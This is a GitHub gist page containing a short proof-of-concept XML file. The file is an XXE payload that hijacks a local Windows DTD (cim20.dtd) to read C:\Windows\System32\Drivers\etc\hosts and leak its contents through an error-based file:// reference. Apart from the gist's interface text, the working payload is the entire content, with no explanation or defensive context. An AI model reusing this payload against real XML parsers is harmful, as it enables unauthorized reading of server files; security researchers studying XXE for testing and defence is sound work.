Skip to content

Instantly share code, notes, and snippets.

@danzajork

danzajork/poc.xml

Created May 10, 2022 17:16
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save danzajork/18bb4c639a560617d3ac4549609c062d to your computer and use it in GitHub Desktop.
Save danzajork/18bb4c639a560617d3ac4549609c062d to your computer and use it in GitHub Desktop.
Download ZIP
Raw
poc.xml
<!DOCTYPE doc [
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>
<!ENTITY &#x25; file SYSTEM "file://c:\Windows\System32\Drivers\etc\hosts">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://t/#&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ENTITY test "test"'
>
%local_dtd;
]><xxx>cacat</xxx>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment